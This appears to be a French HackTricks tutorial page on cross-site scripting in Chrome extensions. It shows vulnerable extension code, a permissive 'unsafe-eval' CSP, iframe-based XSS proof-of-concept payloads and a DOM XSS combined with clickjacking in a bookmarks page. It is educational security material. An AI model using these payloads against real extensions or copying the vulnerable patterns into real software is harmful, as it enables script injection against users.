BrowExt - XSS Example

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Cross-Site Scripting (XSS) via Iframe

Dans cette configuration, un script de contenu est implémenté pour instancier un Iframe, incorporant une URL avec des paramètres de requête comme source de l'Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Une page HTML publiquement accessible, message.html, est conçue pour ajouter dynamiquement du contenu au corps du document en fonction des paramètres dans l'URL :

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Un script malveillant est exécuté sur la page d'un adversaire, modifiant le paramètre content de la source de l'Iframe pour introduire une charge utile XSS. Cela est réalisé en mettant à jour la source de l'Iframe pour inclure un script nuisible :

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Une politique de sécurité du contenu excessivement permissive telle que :

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

Permet l'exécution de JavaScript, rendant le système vulnérable aux attaques XSS.

Une approche alternative pour provoquer le XSS consiste à créer un élément Iframe et à définir sa source pour inclure le script malveillant en tant que paramètre content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

XSS basé sur le DOM + ClickJacking

Cet exemple a été tiré du post original.

Le problème principal découle d'une vulnérabilité de Cross-site Scripting (XSS) basée sur le DOM située dans /html/bookmarks.html. Le JavaScript problématique, faisant partie de bookmarks.js, est détaillé ci-dessous:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Ce extrait récupère la valeur du champ de saisie txtName et utilise la concaténation de chaînes pour générer du HTML, qui est ensuite ajouté au DOM en utilisant la fonction .append() de jQuery.

Généralement, la Politique de sécurité du contenu (CSP) de l'extension Chrome empêcherait de telles vulnérabilités. Cependant, en raison de la relaxation de la CSP avec ‘unsafe-eval’ et de l'utilisation des méthodes de manipulation du DOM de jQuery (qui utilisent globalEval() pour transmettre des scripts à eval() lors de l'insertion dans le DOM), l'exploitation reste possible.

Bien que cette vulnérabilité soit significative, son exploitation dépend généralement de l'interaction de l'utilisateur : visiter la page, saisir une charge utile XSS et activer le bouton “Ajouter”.

Pour renforcer cette vulnérabilité, une deuxième vulnérabilité de clickjacking est exploitée. Le manifeste de l'extension Chrome présente une politique étendue web_accessible_resources :

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notamment, la page /html/bookmarks.html est sujette au cadrage, donc vulnérable au clickjacking. Cette vulnérabilité est exploitée pour encadrer la page dans le site d'un attaquant, la superposant avec des éléments DOM pour redessiner l'interface de manière trompeuse. Cette manipulation amène les victimes à interagir involontairement avec l'extension sous-jacente.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour